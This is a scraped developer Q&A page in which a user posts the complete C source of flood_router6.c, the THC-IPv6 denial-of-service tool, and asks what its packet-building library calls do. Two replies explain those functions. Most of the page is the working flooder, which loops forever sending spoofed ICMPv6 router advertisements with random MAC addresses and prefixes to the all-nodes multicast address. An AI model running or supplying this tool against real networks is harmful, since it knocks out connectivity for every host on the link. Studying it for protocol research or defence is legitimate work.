开发者

some functions in flood_router6.c (DoS program in BackTrack)

开发者 https://www.devze.com 2023-03-22 09:04 出处:网络
This code is a Denial of Service attack program in BackTrack from http://www.thc.org/ The code\'s name is flood_router6.c

This code is a Denial of Service attack program in BackTrack from http://www.thc.org/ The code's name is flood_router6.c

In the code shown below, I have problem what are these functions doing:

thc_create_ipv6()
thc_add_icmp6()
thc_generate_and_send_pkt()

there are no functions like that in "thc-ipv6.h" library. What are these functions do? I searched on google and there are no answer. Anyone can help?

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <time.h>
#include <pcap.h>
#include "thc-ipv6.h"

extern int debug;

void help(char *prg) {
  printf("%s %s (c) 2010 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE);
  printf("Syntax: %s [-r] interface\n\n", prg);
  printf("Flood the local network with router advertisements.\n");
  printf("Use -r to use raw mode.\n\n");
  exit(-1);
}

int main(int argc, char *argv[]) {
  char *interface, mac[6] = "";
  unsigned char *routerip6, *route6, *mac6 = mac, *ip6;
  unsigned char buf[56];
  unsigned char *dst = thc_resolve6("FF02::1"), *dstmac = thc_get_multicast_mac(dst);
  int size, mtu, i;
  unsigned char *pkt = NULL;
  int pkt_len = 0;
  int rawmode = 0;
  int count = 0;

  if (argc < 2 || argc > 3 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  if (strcmp(argv[1], "-r") == 0) {
    thc_ipv6_rawmode(1);
    rawmode = 1;
    argv++;
    argc--;
  }

  srand(time(NULL) + getpid());
  setvbuf(stdout, NULL, _IONBF, 0);

  interface = argv[1];
  mtu = 1500;
  size = 64;
  ip6 = malloc(16);
  routerip6 = malloc(16);
  route6 = malloc(16);

  mac[0] = 0x00;
  mac[1] = 0x18;
  memset(ip6, 0, 16);
  ip6[0] = 0xfe;
  ip6[1] = 0x80;
  ip6[8] = 0x02;
  ip6[9] = mac[1];
  ip6[11] = 0xff;
  ip6[12] = 0xfe;
  routerip6[0] = 0x2a;
  routerip6[1] = 0x01;
  routerip6[15] = 0x01;
  memset(route6 + 8, 0, 8);

  printf("Starting to flood network with router advertisements on %s
(Press Control-C to end, a dot is printed for every 100 packet):\n", interface);
  while (1) {

    for (i = 2; i < 6; i++)
      mac[i] = rand() % 256;
    for (i = 2; i < 8; i++)
      routerip6[i] = rand() % 256;

//    ip6[9] = mac[1];
    ip6[10] = mac[2];
    ip6[13] = mac[3];
    ip6[14] = mac[4];
    ip6[15] = mac[5];
    memcpy(route6, routerip6, 8);

    count++;
    memset(buf, 0, sizeof(buf));
    buf[1] = 250;
    buf[5] = 30;
    buf[8] = 5;
    buf[9] = 1;
    buf[12] = mtu / 16777216;
    buf[13] = (mtu % 16777216) / 65536;
    buf[14] = (mtu % 65536) / 256;
    buf[15] = mtu % 256;
    buf[16] = 3;
    buf[17] = 4;
    buf[18] = size;
    buf[19] = 128 + 64 + 32;
    memset(&buf[20], 255, 8);
    memcpy(&buf[32], route6, 16);
    buf[48] = 1;
    buf[49] = 1;
  开发者_运维问答  memcpy(&buf[50], mac6, 6);

    if ((pkt = thc_create_ipv6(interface, PREFER_LINK, &pkt_len, ip6, dst, 255, 0, 0, 0, 0)) == NULL)
      return -1;
    if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff08ffff, buf, sizeof(buf), 0) < 0)
      return -1;
    if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) {
      fprintf(stderr, "Error sending packet no. %d on interface %s: ", count, interface);
      perror("");
      return -1;
    }

    pkt = thc_destroy_packet(pkt);
    usleep(1);
    if (count % 100 == 0)
      printf(".");
  }
  return 0;
}


THC-IPv6 is a set of tools used to attack inherent protocol weaknesses of IPV6.The project is a part of the THC, namely The Hacker's Choice. You can find the detail about this project: http://www.thc.org/thc-ipv6/

The THC-IPv6 not only provides tools for attacking but also a handy library.The library can be used in developing your own applications, e.g. create a specific IPv6 packet. http://www.thc.org/thc-ipv6/README

Basicly, thc_create_ipv6() is used to create a IPv6 packet with no extension headers. thc_add_icmp6() will add the icmpv6 header to this packet and thc_generate_and_send_pkt() will send out this packet to wire. More detail about THC-IPv6 library pls refer to the README.


You did not really look - the functions are defined in thc-ipv6.h, the code for them is in thc-ipv6-lib.c

The function thc_create_ipv6() creates the basic IPv6 packet and is required before any other packet function of the library. Then the_add_icmp6() adds an ICMPv6 header to the IPv6 packet. There are more thc_add_* functions, e.g. for UDP, TCP or extension headers. Finally thc_generate_and_send_pkt() will build the packet and send it to the network.

See the README. The smurf6.c file is an easy example on how to use the library.

0

精彩评论

暂无评论...
验证码 换一张
取 消